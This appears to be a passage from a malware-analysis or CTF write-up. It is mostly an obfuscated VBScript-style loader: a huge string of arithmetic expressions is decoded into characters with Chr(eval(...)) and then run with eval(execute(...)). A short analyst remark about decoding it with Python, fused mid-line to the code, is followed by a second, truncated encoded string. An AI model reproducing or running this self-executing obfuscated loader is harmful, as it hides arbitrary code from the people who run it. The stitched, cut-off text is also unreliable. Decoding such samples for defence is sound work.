-4962+5009*4634-4519*-7972+8081*5294-5178*6282-6170*421705/3667*906778/8978*-4896+5010*4464-4346*3734-3633*362292/3178*173162/5093*132799/3239*-7445+7477*3308-3247*-1644+1676*1870-1836*-6961+7076*509139/4671*-2177+2293*9082-8970*1116-1070*790-681*6752-6655*3567-3462*999864/9258*-5486+5532*1957-1843*7323-7206*-4839+4873*-7090+7100*-5230+5300*9546-9438*182200/1822*8363-8248*162472/3532*102711/1407*-3830+3946*-5511+5612*4401-4292*8365-8325*-2984+3018*-4025+4129*1157796/9981*-6405+6521*6359-6247*514518/8871*7299-7252*-3973+4020*1004985/8739*-9122+9221*7418-7314*2329-2228*8698-8589*723038/7454*-6041+6156*8464-8418*110090/1010*676620/6444*259677/2623*4939-4825*7314-7203*-2920+3035*2398-2287*325278/3189*-7546+7662*-8450+8496*-7913+8012*465201/4191*869384/7976*296711/6313*8054-7955*-6789+6889*8670-8559*382110/8130*-5488+5587*488733/4403*-9865+9975*942480/9240*983220/9364*4601-4498*325962/2786*-5961+6075*-3430+3527*957464/8254*-2961+3066*1583-1472*259710/2361*13677/291*685400/5960*140828/1292*193952/1672*9806-9694*690575/6005*430260/4260*-5365+5479*4488-4370*125240/1240*2699-2585*-8379+8491*-9123+9234*2821-2707*9661-9545*166702/4903*-1431+1472*-5075+5107*-2982+3043*211008/6594*-196+248*479898/8887*-2711+2764*1675-1665*294770/4211*-2395+2503*-2341+2441*-9798+9913*-1998+2044*268640/3680*7651-7535*6623-6522*-3187+3296*-5139+5179*-1887+1921*-7198+7302*695-579*-1557+1673*9603-9491*-7983+8041*202946/4318*178741/3803*-2223+2338*724185/7315*-6306+6410*3144-3043*8456-8347*931-834*1404-1289*-9760+9806*3677-3568*4945-4840*-9870+9969*-2528+2642*4604-4493*-2175+2290*877788/7908*4530-4428*-6948+7064*156722/3407*103554/1046*-9394+9505*4998-4889*85681/1823*8429-8330*441900/4419*557331/5021*274762/5846*402534/4066*-1751+1862*564300/5130*-4152+4254*808815/7703*97129/943*7439-7322*222756/1954*821105/8465*389064/3354*-7347+7452*7727-7616*3965-3855*29704/632*3834-3719*-602+703*3827-3717*145000/1450*-3846+3963*252080/2192*6810-6705*380820/3462*-1086+1189*251226/7389*-4010+4051*157952/4936*5484-5452*-1306+1338*312032/9751*137860/2260*-7681+7713*22600/452*9733-9701*106528/3329*61750/6175*9975-9905*4673-4565*-8776+8876*-7117+7232*709-663*2054-1981*1337-1221*318150/3150*-9326+9435*-2594+2634*218756/6434*-1040+1144*604360/5210*-450+566*831600/7425*-6491+6549*9384-9337*2452-2405*5027-4912*6472-6373*325728/3132*-2617+2718*122625/1125*365981/3773*6169-6054*-1965+2011*575-466*-2930+3035*34254/346*1099872/9648*520-409*9875-9760*-6651+6762*-4827+4929*1139584/9824*3354-3308*5986-5887*770340/6940*-8447+8556*-3885+3932*5261-5162*746300/7463*-6156+6267*2190-2143*8049-7950*4945-4834*3223-3113*422484/4142*-4198+4303*1087-984*-4947+5064*119130/1045*183718/1894*-2518+2634*-2126+2231*-1548+1659*499950/4545*95034/2022*864225/7515*251790/2310*3865-3749*-2226+2338*45202/466*305955/2615*3618-3502*-2339+2443*460762/4562*8713-8603*-8009+8125*5025-4920*-1189+1288*-5212+5309*-5907+6023*2180-2079*-1712+1746*-3948+3989*174624/5457*-5741+5802*188704/5897*3503-3454*8149-8117*8492-8460*2202-2192*71330/1019*6206-6098*517900/5179*467360/4064*20424/444*-2036+2109*12760/110*106555/1055*295608/2712*175360/4384*-7335+7369*8558-8454*229448/1978*929276/8011*920304/8217*-6728+6786*5536-5489*-210+257*3494-3379*-3585+3684*3993-3889*840-739*-3510+3619*177510/1830*-9074+9189*4896-4850*6312-6203*6051-5946*-7385+7484*238488/2092*495-384*10103-9988*750582/6762*-1527+1629*-594+710*5914-5868*8326-8227*888111/8001*365-256*48081/1023*587763/5937*879200/8792*1057275/9525*161915/3445*604791/6109*-6577+6688*-2948+3058*958188/9394*4014-3909*26677/259*-2165+2282*-2494+2608*154618/1594*8320-8204*7168-7063*668442/6022*7934-7824*301364/6412*9119-9004*8508-8399*139548/1203*-7661+7773*-5746+5863*-3346+3461*1425-1324*265190/2306*-7284+7399*343008/3176*-2044+2078*-4778+4819*-7830+7862*7110-7078*-4540+4572*-4528+4560*-8627+8659*200192/6256*4283-4222*127680/3990*9787-9671*-441+555*-526+643*613777/6077*7589-7557*-9058+9068*5722-5652*241164/2233*-3926+4026*-254+369*97060/2110*7359-7286*-4069+4185*-8901+9002*1762-1653*-9941+9981*4121-4087*9384-9280*-6263+6379*4828-4712*3536-3424*4690-4632*187718/3994*-4150+4197*963010/8374*-233+332*719472/6918*-1054+1155*1650-1541*7458-7361*2735-2620*352084/7654*8114-8005*5215-5110*4058-3959*7805-7691*4652-4541*3175-3060*2724-2613*74562/731*5385-5269*1842-1796*-6868+6967*4184-4073*577373/5297*2934-2887*-7984+8083*277600/2776*8226-8115*297416/6328*30690/310*7008-6897*638880/5808*-8229+8331*673-568*-709+812*-8505+8622*331-217*723426/7458*340460/2935*-8017+8122*650793/5863*-2693+2803*327778/6974*7622-7507*442683/4383*12540/114*-7923+8023*-2140+2257*362710/3154*-3456+3557*-7716+7830*-655+765*379173/3909*-5167+5276*-6131+6232*7300-7266*6419-6378*8929-8897*317824/9932*-6196+6228*110688/3459*533750/8750*-7739+7771*331704/9756*8747-8649*4864-4755*572033/4807*31075/275*492450/4690*7878-7781*383152/6842*-3778+3830*-1914+1978*175599/1611*-5042+5139*-1755+1860*4830-4722*-896+942*146718/1287*8755-8638*-9736+9770*3069-3059*542570/7751*7702-7594*-4347+4447*498295/4333*296102/6437*33726/462*258216/2226*-795+896*596666/5474*-3326+3366*17714/521*495352/4763*4814-4698*1335-1219*2668-2556*-6197+6255*-3990+4037*-7893+7940*578565/5031*478863/4837*-1421+1525*-6380+6481*1157-1048*5696-5599*3447-3332*139978/3043*7897-7788*8411-8306*-614+713*9682-9568*-1124+1235*4226-4111*264291/2381*9309-9207*613292/5287*-684+730*7784-7685*561216/5056*495623/4547*120461/2563*489951/4949*-5401+5501*1284-1173*240029/5107*246411/2489*5051-4940*-3728+3838*964920/9460*-4797+4902*603374/5858*-3900+4017*-5347+5461*3133-3036*2682-2566*-768+873*1239-1128*7904-7794*69231/1473*-1403+1518*9188-9087*1000670/9097*8107-8007*813904/7267*1216-1119*6644-6529*1107565/9631*908208/7632*430569/3879*9900-9786*9974-9874*-9377+9411*9048-9007*-7445+7477*8829-8797*92352/2886*179424/5607*-4459+4520*4455-4423*184654/5431*3805-3723*-4785+4837*8174-8107*826-749*610200/6780*-3266+3317*-4649+4763*429570/4995*610060/5546*102795/1335*-978+1048*-6099+6215*7938-7816*-2690+2812*-8405+8459*-4072+4190*388082/3181*522422/6371*223755/2131*2926-2877*4647-4613*4128/129*-190+200*1526-1516*49900/4990*19940/1994*9282-9212*-9075+9183*-2825+2925*-4471+4586*281014/6109*-555+640*-9533+9645*-7967+8067*-858+955*-9669+9785*5178-5077*-6345+6377*9014-9004*-9604+9709*4391-4314*-7225+7340*764260/7420*-1716+1762*413256/6168*226995/2045*-9371+9481*2822-2720*5637-5532*-4257+4360*502164/4292*9154-9040*682977/7041*6561-6445*-9181+9286*-1140+1251*3661-3551*78812/1292*3954-3849*559785/8355*1096236/9876*9001-8891*-6193+6295*111776/3493*-6640+6650*5844-5739*406329/5277*-5471+5586*-6537+6640*228942/4977*46200/550*1101-990*-2021+2082*1015-900*46052/397*-3240+3354*-6321+6405*945609/8519*-1450+1482*55290/5529*8578-8568*8071-8061*525315/5003*732578/9514*366735/3189*-6787+6890*-8112+8158*-5870+5940*-6872+6986*-2432+2543*8316-8207*8397-8336*-3485+3600*670248/5778*686850/6025*432180/6174*9181-9067*960039/8649*5385-5276*-9823+9855*-7667+7677*1588-1483*-1011+1088*9201-9086*-8643+8746*2238-2192*46314/558*2046-1929*246470/2515*53106/501*-4454+4555*7410-7311*1008620/8695*583099/9559*342125/2975*2522-2406*812-698*5817-5734*-1967+2084*8118-8020*48018/453*234421/2321*2236-2137*-3468+3584*-1991+2023*27470/2747*-5949+5959*555555/5291*478478/6214*-6329+6444*6720-6617*-1326+1372*9642-9558*8213-8112*-9387+9507*147668/1273*7105-7039*-213+324*1884-1784*349811/2891*73627/1207*8898-8783*317724/2739*925224/8116*5964-5898*148074/1334*-4818+4918*2907-2786*-2719+2751*1068-1058*726499/8753*990204/9804*58464/504*-6861+6893*274176/2688*203796/1887*-3464+3564*-9218+9250*185257/3037*45632/1426*-9789+9859*269750/3250*490748/6212*6963-6917*7535-7464*776690/7690*769312/6632*1869-1799*264624/2384*320328/2966*1400-1300*753258/7458*-5473+5587*-9392+9432*9092-9009*-5330+5376*472602/5694*397488/3549*-9753+9854*9052-8953*785820/7484*-155+252*910224/8428*-5919+5989*1090686/9826*2425-2317*6336-6236*1813-1712*-2191+2305*9652-9537*9625-9585*-3729+3797*-4549+4650*985090/8566*-8777+8884*5375-5259*-6471+6582*-8453+8565*294503/7183*-4769+4810*-2258+2268*215040/3072*-6029+6140*5620-5506*-3090+3122*-9147+9248*-264+361*887238/8962*281320/2705*51744/1617*4575-4473*-4156+4261*9331-9223*951-850*-1848+1880*1910-1805*-9310+9420*-216+248*-2789+2891*536004/4963*3133-3033*-9428+9474*890358/8729*-4565+4670*609876/5647*205636/2036*-2583+2698*4720-4710*133888/4184*276512/8641*-6207+6239*253472/7921*574455/5471*-2700+2802*7355-7323*10029-9953*6362-6295*753205/7765*1059-944*-7168+7269*87480/2187*435680/6224*-8004+8087*642507/8133*199916/4346*3756-3685*-9766+9867*-9135+9251*8993-8924*-3176+3296*-8575+8691*291183/2883*7747-7637*7180-7065*8191-8086*-818+929*8775-8665*393588/5046*-3295+3392*867422/7958*375619/3719*6420-6380*162894/1597*206-101*-304+412*618120/6120*350345/8545*810-769*4740-4708*123281/2021*622-590*1605-1571*8091-7975*-4838+4958*548912/4732*253368/7452*16608/519*-1605+1689*383552/3688*417130/4130*53790/489*99290/9929*-9918+9950*-9227+9259*168000/5250*4322-4290*2527-2495*7500-7468*3790-3758*99424/3107*388395/3699*-7248+7325*1041095/9053*1007134/9778*6547-6501*-5928+5993*797-697*119800/1198*282685/4349*-9111+9227*-9411+9527*3902-3805*920-821*7394-7290*832869/7641*754470/7470*1048630/9533*271788/2343*8755-8723*628932/6166*-8609+8714*1572-1464*743158/7358*438334/9529*231168/2064*3693-3596*728596/6281*-2682+2786*-9926+9936*-9748+9757*-272+282*300576/9393*30240/945*290656/9083*119872/3746*5377-5308*4393-4283*460800/4608*286368/8949*-8409+8514*425136/4168*-5925+5935*2237-2159*-3814+3915*-972+1092*675236/5821*-3495+3505*1203-1193*-149+159*7720/772*42720/4272*25000/2500*49710/4971*2677-2667*8137-8067*1386-1278*-8687+8787*2967-2852*86526/1881*325-240*-7839+7951*653500/6535*252103/2599*-3329+3445*780528/7728*70240/2195*3535-3525*-7454+7559*-8043+8120*7121-7006*441973/4291*282210/6135*326357/4871*191031/1721*63910/581*-9597+9699*8957-8852*-9229+9332*-8567+8684*673626/5909*8054-7957*854688/7368*-174+279*7668-7557*186670/1697*9072-9011*723-618*-5322+5389*9839-9728*85250/775*5201-5099*129536/4048*7700-7690*-3280+3385*-1050+1127*883660/7684*3005-2902*-614+660*724-640*747585/6735*-1825+1886*601-486*154976/1336*295944/2596*-7415+7499*-296+407*7019-6987*-1505+1515*-7386+7396*-5577+5682*-6894+6971*1129875/9825*1979-1876*300978/6543*1159-1089*-1196+1310*-6063+6174*4369-4260*548878/8998*5217-5102*6188-6072*-6988+7102*-3098+3168*-5136+5250*-4484+4595*-2995+3104*304768/9524*-2425+2435*47775/455*303303/3939*245-130*117729/1143*120888/2628*-3451+3534*4358-4241*58310/595*221010/2085*933240/9240*-4930+5029*135256/1166*268217/4397*685-570*5034-4918*-4379+4493*2023-1940*117000/1000*3630-3532*6056-5950*9975-9874*-3624+3723*4562-4446*7735-7703*76690/7669*546525/5205*4010-3933*2504-2389*3246-3143*7076-7030*-6562+6646*4550-4449*471240/3927*9673-9557*1588-1522*95127/857*-6941+7041*470327/3887*295850/4850*36225/315*8971-8855*-8424+8538*464640/7040*3464-3353*185100/1851*-2651+2772*46016/1438*-3547+3557*4513-4503*-9514+9597*5023-4922*640900/5525*5138-5106*603738/5919*1030428/9541*-4290+4390*-5461+5493*90524/1484*829-797*414190/5917*-5686+5769*275078/3482*292652/6362*-4110+4181*410868/4068*221212/1907*67480/964*-3242+3353*-7083+7191*6812-6712*960611/9511*323076/2834*248960/6224*4167-4084*107042/2327*6174-6091*1212-1100*707606/7006*-1084+1183*4976-4871*358415/3695*637740/5905*190470/2721*-1543+1654*-1862+1970*-3759+3859*5582-5481*342456/3004*-5943+6058*-5510+5550*-7169+7246*3483-3362*650488/9566*10043-9932*96129/971*-2968+3085*9843-9734*868903/8603*-6078+6188*-2601+2717*-934+1049*101270/2470*-9207+9248*6470/647*111720/1596*-9503+9614*8631-8517*174016/5438*-7741+7842*-1537+1634*75141/759*-8864+8968*7224-7192*1864-1762*706335/6727*996408/9226*68781/681*-4139+4171*-7076+7181*362230/3293*798-766*62424/612*917460/8495*1563-1463*-586+632*25194/247*-2393+2498*9667-9559*662257/6557*-7712+7827*66670/6667*188192/5881*-3989+4021*-2632+2664*17088/534*-5111+5216*7033-6931*-4333+4365*-2608+2684*101103/1509*779201/8033*-5186+5301*-4177+4278*218960/5474*321580/4594*228914/2758*75287/953*5750-5704*269729/3799*817393/8093*307052/2647*1608-1539*1198920/9991*746112/6432*475811/4711*-3264+3374*133055/1157*121695/1159*80253/723*-1313+1423*726648/9316*-164+261*1000184/9176*980306/9706*-7436+7476*7009-6907*-2940+3045*2112-2004*969-868*83148/2028*7489-7448*7233-7201*-3901+3962*5825-5793*1016-982*-5260+5376*2840-2720*7057-6941*33252/978*5895-5863*-7377+7461*408304/3926*3085-2984*95150/865*15310/1531*237216/7413*199168/6224*262976/8218*42368/1324*-3165+3197*194112/6066*135872/4246*-3628+3660*1781-1676*6531-6454*435965/3791*6709-6606*2855-2809*5445-5380*9213-9113*1875-1775*455845/7013*4494-4378*892620/7695*2937-2840*1663-1564*-1178+1282*277-168*8021-7920*-9775+9885*-8153+8269*-1235+1267*-4807+4909*344505/3281*762156/7057*737502/7302*212796/4626*959952/8571*1289-1192*203812/1757*27040/260*-4351+4361*1190-1181*-727+737*-9461+9493*1074-1042*172736/5398*-2363+2395*-5745+5814*-6194+6304*8164-8064*-9730+9762*199710/1902*661980/6490*75970/7597*8434-8356*4926-4825*9359-9239*-8777+8893*6327-6317*103740/988*-5020+5097*-8759+8874*12154/118*-8541+8587*-3330+3395*593200/5932*-5350+5450*2882-2817*7215-7099*-4273+4389*-7068+7165*9653-9554*7817-7713*872327/8003*885770/8770*3196-3086*-1464+1580*-3852+3884*-4662+4696*3410-3343*253866/4377*-6947+7039*9904-9819*-8805+8920*8993-8892*1075134/9431*811095/7053*-4152+4244*333234/9801*43328/1354*8436-8398*1879-1847*467705/4067*168432/1452*-273+387*4309-4224*-5712+5827*799920/7920*-7286+7400*4906-4828*-4459+4556*-5105+5214*-259+360*135968/4249*78014/2053*6954-6922*-113+147*-3438+3530*-179+244*9495-9383*174384/1557*5900-5832*410892/4236*9635-9519*-2614+2711*8039-7947*488680/6430*-7377+7488*943668/9532*-3692+3789*8701-8593*813924/8847*5018-4907*4281-4181*-7773+7878*7365-7255*220064/2392*-6479+6590*-5066+5166*-9829+9934*5029-4919*-4921+5035*1568-1467*-9208+9320*192696/1736*-5773+5887*523392/4512*7797-7751*-2309+2431*1287-1182*-5454+5566*928-894*-8093+8103*-4668+4773*444059/5767*88320/768*396-293*-3084+3130*-1038+1103*6066-5966*300200/3002*-970+1035*856776/7386*-2832+2948*438440/4520*5417-5318*-8435+8539*-4772+4881*682760/6760*-7527+7637*1087384/9374*-8470+8502*157862/4643*1277-1212*-4163+4221*188692/2051*1823-1738*1869-1754*-1411+1512*5012-4898*-7083+7198*-5155+5247*235586/6929*-6662+6694*3751-3713*-2175+2207*-4217+4332*2681-2565*708510/6215*-6055+6140*2065-1950*2006-1905*4564-4450*6982-6904*180614/1862*1407-1298*9041-8940*246976/7718*8106-8068*-2269+2301*202776/5964*882096/9588*10855/167*6256-6144*8971-8859*8064-7996*26869/277*-9849+9965*827992/8536*-3688+3780*-9237+9313*2421-2310*-8325+8424*618278/6374*-982+1090*-4424+4516*1027860/9260*4753-4653*671895/6399*431750/3925*575644/6257*9534-9423*493400/4934*1743-1638*-9006+9116*183540/1610*995153/9853*2654-2542*228660/2060*9820-9706*917792/7912*-9046+9092*-7454+7576*832020/7924*-1537+1649*7691-7657*5204-5194*3741-3636*-4441+4518*-9252+9367*7615-7512*6959-6913*510835/7859*351200/3512*-5573+5673*-1425+1490*45820/395*589-473*479471/4943*-7174+7273*395928/3807*34335/315*78174/774*-6307+6417*131776/1136*1615-1583*66844/1966*-6198+6264*-6334+6392*-6898+6990*786420/9252*9990-9875*714171/7071*-9011+9125*-1109+1224*6651-6559*6648-6614*5112-5080*362748/9546*-1271+1303*-4318+4433*929972/8017*1906-1792*517480/6088*-3890+4005*556409/5509*832428/7302*124800/1600*247253/2549*647787/5943*398243/3943*195872/6121*3984-3946*4956-4924*-6388+6422*-4733+4825*523185/8049*587440/5245*193648/1729*-7312+7380*438731/4523*410988/3543*-2965+3062*824596/8963*-6643+6719*2960-2849*-4728+4827*7681-7584*-7197+7305*-2471+2563*6958-6847*-593+693*-39+144*537790/4889*17020/185*36519/329*-7189+7289*931665/8873*-7248+7358*9013-8899*-7595+7696*397152/3546*-5882+5993*7728-7614*1020452/8797*-4845+4891*-7532+7654*3369-3264*-4572+4684*311202/9153*-3565+3575*1025325/9765*-3536+3613*5977-5862*-2920+3023*442934/9629*6907-6842*153100/1531*-8662+8762*75660/1164*9114-8998*450196/3881*-8389+8486*-8357+8456*2757-2653*236530/2170*121402/1202*-2528+2638*230608/1988*-6468+6500*55488/1632*-5636+5704*-7693+7751*-3748+3840*275910/3246*9002-8887*220887/2187*7609-7495*5450-5335*22540/245*4167-4133*-2319+2351*-4913+4951*41888/1309*6132-6017*862692/7437*97584/856*-7036+7121*-165+280*4317-4216*9853-9739*3165-3087*9460-9363*1967-1858*1971-1870*-9821+9853*-731+769*310-278*260100/7650*9149-9057*316225/4865*803824/7177*887152/7921*-901+969*107573/1109*86884/749*8651-8554*8501-8409*6706-6630*6433-6322*390555/3945*5810-5713*4162-4054*-1967+2059*1051725/9475*653700/6537*308-203*763510/6941*3556-3464*576312/5192*905500/9055*-6307+6412*952490/8659*665760/5840*997678/9878*-8980+9092*-3645+3756*7518-7404*3835-3719*291318/6333*-4226+4348*991200/9440*261296/2333*1768-1734*9002-8992*431655/4111*-3533+3610*-4070+4185*5303-5200*230414/5009*-4638+4703*-1871+1971*544700/5447*9765-9700*-5390+5506*-8226+8342*222227/2291*8208-8109*-4446+4550*8109-8000*5536-5435*255420/2322*2899-2783*8627-8595*27506/809*6130-6063*248182/4279*817052/8881*229-144*-8947+9062*688012/6812*817152/7168*981065/8531*849620/9235*196316/5774*27808/869*-3958+3996*60256/1883*7442-7327*121684/1049*502284/4406*793390/9334*-5531+5646*-2111+2212*614802/5393*4013-3935*-9320+9417*1014899/9311*6851-6750*251680/7865*-7710+7748*8283-8251*-7814+7848*-3575+3667*120315/1851*-1558+1670*-5154+5266*6372-6304*4909-4812*763396/6581*8700-8603*8485-8393*4779-4697*964590/8690*4356-4259*369510/3390*-9809+9914*-1525+1635*-9541+9644*133952/1456*-7503+7569*151095/1439*5249-5133*-2331+2430*824508/7428*-1644+1749*303380/2758*4615-4523*-7270+7389*-6492+6589*965628/8941*518724/4803*-5457+5558*-1333+1449*-8773+8819*-9847+9947*1214-1117*-2694+2810*6286-6252*-6111+6121*540855/5151*9808-9731*2233-2118*-2649+2752*134458/2923*386815/5951*-8893+8993*944800/9448*266175/4095*2059-1943*7522-7406*2283-2186*94446/954*9404-9300*-5548+5657*-1651+1752*-4195+4305*2909-2793*169536/5298*-7616+7650*8017-7950*-6255+6313*9486-9394*386070/4542*-7451+7566*779922/7722*9677-9563*389505/3387*-6200+6292*-8178+8212*51392/1606*328624/8648*5048-5016*-1241+1356*-785+901*1010610/8865*-6808+6893*9248-9133*9902-9801*930126/8159*3696-3618*-2332+2429*-3235+3344*-1652+1753*1599-1567*79344/2088*-1113+1145*-6125+6159*5755-5663*4512-4447*409808/3659*846272/7556*-158+226*764457/7881*98948/853*-5215+5312*6171-6079*2397-2315*1088355/9805*-5304+5401*-2078+2187*64365/613*5301-5191*8074-7971*59064/642*147522/2138*1409-1301*9335-9234*374814/3786*4344-4228*5854-5740*2838-2721*-4566+4675*563040/6120*8428-8309*826828/8524*-6258+6366*-1624+1732*3979-3878*-4184+4300*2047-1932*-5648+5740*8190-8090*820322/8122*4850-4748*-6814+6911*3196-3079*-676+784*-8483+8599*500555/5269*-5567+5686*7448-7351*-9488+9596*-2319+2427*8614-8513*875568/7548*8759-8725*94110/9411*4020-3915*-1870+1947*5059-4944*-3964+4067*445648/9688*307847/3709*297445/2945*8544-8434*370300/3703*78830/7883*4949-4939*87930/8793*-4282+4292*557760/6720*972933/9633*6306-6190*3174-3142*-3321+3430*668430/9549*-1832+1915*7360-7281*6648-6616*518012/8492*5290-5258*8085-8018*-558+672*-1896+1997*-4519+4616*-5924+6040*539-438*-5251+5330*475594/4853*-3759+3865*937-836*194139/1961*647512/5582*-4260+4300*5363-5329*7619-7536*556380/5620*361494/3171*-2638+2743*7771-7659*-1302+1418*754530/7186*18700/170*6977-6874*-6256+6302*169330/2419*448035/4267*280152/2594*67569/669*262363/3161*1129172/9332*9561-9446*369808/3188*3666-3565*780876/7164*-2894+2973*4633-4535*883192/8332*-9212+9313*-6690+6789*6703-6587*2591-2557*-9564+9605*2434-2424*-8734+8744*-391+458*-3764+3861*999540/9255*9542-9434*6111-6079*9717-9608*8366-8296*414917/4999*-3749+3828*136022/2957*188972/2779*743158/7358*7297-7189*110898/1098*-5193+5309*672761/6661*-7908+7978*682605/6501*-1173+1281*6223-6122*8607-8567*6991-6904*1656-1573*-118+217*7148-7034*-857+962*-4816+4928*-8297+8413*-6621+6667*-3618+3701*7964-7865*160056/1404*-2953+3058*4898-4786*534412/4607*-6243+6313*-8490+8607*171828/1591*1350-1242*87360/1120*-9362+9459*-8716+8825*2299-2198*-5581+5625*7758-7726*-2470+2554*-6374+6488*-1107+1224*-5495+5596*2065-2024"
axEjahGoVVhnxPRQQDPPaiTXLQhUIRhouDwwHvOyp = splIt(jjkMPKzNVhSgpGmvLdVBVGOimrerTQIaeDiocFNQY, chr(eVaL(75684/1802)))
for each MqNbrDAQjYRIwUnepBXnOsmlQlLuaaeTTwAchSFjz In AxEjahGovVHNxprqQdPPAITXLqhuiRHOuDwwhVOyP
FWwCltIiEsLkZgGUCRjiAEuTJbMpVVgZwJNhOLFSp = fwWCLtIieslKZgGUcrjIaEUTJBmPvvgZwjNHoLfSp & Chr(eVaL(MqnBrdaqjYRIwUnEPBxnoSMlqLluAaeTtwAchSFJz))
NEXT
lxtvaQuFKFKhmxjWgYFOSFuWJcYbTRdpUPuDAdnmD
end SUb
SUb LXTvAQufKFkHMxJwGYFOsFUwJcYBTRDPuPUdadnmD
eval(eXecUTe(fwwCltiieslkzggUCrJIaeUtjBmPvvGZwJNHoLFsp))
enD sUB
FnCtqZiRWLtyCeayCzQdIrDKqrIZAkwRIzBsCpRXsWell this looks like vb.net code , that is getting the code from the calculations of the expressions above. We can do the the maths ,then convert the result to ascii and see what it is using the following python code:
l = "399711/3601*702350/6385*8573-8541*847693/8393*7119-7005*7714-7600*463-352*1137720/9980*214336/6698*-5139+5253*8037-7936*297045/2583*621-504*-3881+3990*304010/3010*-3548+3580*-4817+4927*-8389+8490*526440/4387*-3682+3798*-4323+4333*507525/7575*467310/4210*62040/564*609500/5300*501816/4326*114816/3588*-6176+6244*-5154+5255*941275/8185*715616/6688*-137+253*393-282*6302-6190*88928/2779*9266-9205*6871-6839*-6394+6446*-6545+6555*146261/2183*457209/4119*2924-2814*-5708+5823*3465-3349*-4285+4317*4755-4678*6414-6293*-8263+8331*2696-2585*-8556+8655*311688/2664*3415-3306*2984-2883*6213-6103*-855+971*1957-1842*-790+822*5541-5480*6376-6344*231476/4724*-7629+7683*12780/1278*7764-7681*5210-5109*-1797+1913*-2288+2320*255391/3077*1561-1529*555893/9113*141632/4426*-9588+9655*-3170+3284*-583+684*-3665+3762*129688/1118*-2354+2455*-4990+5069*6065-5967*-6483+6589*6912-6811*-9245+9344*-6022+6138*460-420*-5910+5944*-3785+3872*2678-2563*-1615+1714*911202/7993*3785-3680*651168/5814*-5690+5806*1186-1140*746004/8988*793416/7629*-5702+5803*-6182+6290*-7059+7167*223584/6576*6017-5976*195264/6102*-4986+4996*-2732+2742*726914/8758*5446-5345*305196/2631*298624/9332*-6089+6159*5128-5045*-2562+2641*-5646+5678*-5019+5080*-3803+3835*424445/6335*1049712/9208*-3368+3469*-9647+9744*851092/7337*2454-2353*-5506+5585*9421-9323*-672+778*711141/7041*-7305+7404*6810-6694*3937-3897*2151-2117*1114465/9691*-8789+8888*-7274+7388*2714-2609*-9757+9869*5102-4986*-9448+9553*-6397+6507*859329/8343*911-865*986442/9671*2876-2771*-9227+9335*2248-2147*306360/2664*238128/1968*379960/3304*3176-3060*819312/8112*452-343*323565/2915*-6257+6355*-4300+4406*758611/7511*-7874+7973*-4646+4762*6891-6857*1325-1284*6713-6703*1756-1669*110971/1337*5718-5619*1121874/9841*3931-3826*962416/8593*6614-6498*1795-1749*424047/5109*9638-9530*405818/4018*5880-5779*934528/8344*7120-7080*359072/7328*1350-1302*403920/8415*6805-6757*9719-9687*868-826*3977-3945*5914-5863*236304/4923*-6472+6513*3070/307*-7576+7586*6430/643*57720/5772*6892-6882*69690/6969*6483-6473*6742-6732*-643+758*70064/604*-1481+1595*7020-6937*3670-3593*49644/591*-6791+6871*-5818+5913*3673-3590*994345/9845*-7143+7257*424918/3601*-1979+2080*1111614/9751*4591-4559*4885-4824*6099-6067*-6441+6475*-5314+5429*900558/8262*268-152*9310-9198*9005-8959*-3099+3208*3989-3892*655620/6244*7769-7661*6885-6839*11628/102*-147+264*-4121+4155*6818-6808*971405/8447*8111-7995*-8711+8825*-9068+9152*691752/6232*311328/9729*568276/9316*6660-6628*223618/6577*-4916+5014*928898/8522*-3473+3592*2934-2821*-3346+3451*-968+1065*204792/3657*3970-3918*8701-8637*-8408+8517*402162/4146*436380/4156*157788/1461*6261-6215*10061-9947*9381-9264*36958/1087*19970/1997*903440/7856*-7934+8050*5656-5542*384860/5498*563844/4946*938616/8456*194129/1781*-8272+8304*390156/6396*8672-8640*335648/9872*-8628+8726*-2442+2551*1176672/9888*-4759+4872*-4333+4438*5032-4935*-8401+8457*-5187+5239*6978-6914*906989/8321*413-316*-7264+7369*-6592+6700*-5790+5836*309054/2711*6395-6278*-1121+1155*53730/5373*722660/6284*-5503+5619*-4737+4851*6734-6651*1387-1270*-8394+8492*472442/4457*-5483+5584*2767-2668*-973+1089*271488/8484*-1397+1458*26592/831*6003-5969*5312-5247*-2538+2611*-6352+6434*538628/7921*315208/3844*-718+797*-3187+3267*-9634+9668*2845-2835*3494-3379*-7435+7551*811566/7119*8686-8620*751581/6771*9268-9168*9509-9388*-5271+5303*-2677+2738*7420-7388*-2329+2363*-1987+2063*752396/9524*-9668+9739*-1277+1311*9000-8990*9378-9368*-5693+5703*16700/1670*-2918+2928*-414+424*-8714+8724*5220-5210*-1123+1133*600422/7234*-7529+7630*71340/615*8354-8322*508725/4845*-7502+7579*9353-9238*955737/9279*-4925+4986*-6297+6364*1099416/9644*9492-9391*-3876+3973*7550-7434*-4032+4133*-5539+5618*-1405+1503*-9544+9650*-7393+7494*-7407+7506*3984-3868*4129-4089*-2790+2824*-5766+5833*285736/4202*7845-7766*20240/440*8961-8884*355924/3524*-6731+6846*1072030/9322*921306/9498*158517/1539*73124/724*5532-5498*6917-6876*59840/1870*-6877+6887*91480/9148*291994/3518*-753+854*5625-5509*-6650+6682*2093-1988*7947-7880*403263/3633*3205-3095*837114/8207*301889/4949*-477+544*7946-7832*17877/177*64990/670*4243-4127*550551/5451*9624-9545*566146/5777*1024066/9661*618-517*-8931+9030*4231-4115*329200/8230*-2177+2211*407695/6085*362-294*2588-2509*-7680+7726*2967-2900*7603-7492*7133-7023*4436-4334*-1331+1436*7875-7772*4559-4442*3784-3670*137740/1420*4005-3889*453495/4319*-9088+9199*651090/5919*9334-9300*105944/2584*-1823+1833*-3622+3632*752312/9064*511767/5067*561440/4840*6367-6335*3718-3599*6962-6847*-1600+1704*1549-1466*763672/7343*7165-7064*6892-6784*-6315+6423*-1916+1948*174033/2853*23424/732*-3921+3988*8389-8275*62216/616*410116/4228*2034-1918*639734/6334*3601-3522*6881-6783*-1790+1896*962025/9525*-8792+8891*704352/6072*359640/8991*1347-1315*325312/9568*825-738*-1948+2031*910008/9192*765054/6711*7244-7139*440-328*664796/5731*8067-8021*-613+696*925600/8900*6037-5936*6702-6594*987876/9147*17442/513*3213-3181*-4637+4678*-5771+5781*8459-8344*418992/3612*-6863+6977*6271-6186*-8222+8337*-1571+1672*3062-2948*8994-8916*-8865+8962*-4770+4879*856480/8480*3877-3845*-795+856*9169-9137*-3712+3831*809025/7035*5835-5731*8642-8559*109616/1054*805273/7973*16524/153*1953-1845*-3747+3793*-8123+8192*1965-1845*1340-1228*3727-3630*5726-5616*-1349+1449*-7550+7619*-643+753*300664/2548*-8796+8901*447336/3924*883893/7963*-3198+3308*394144/3616*9282-9181*629-519*5034-4918*210239/2533*1027528/8858*-3952+4066*2375-227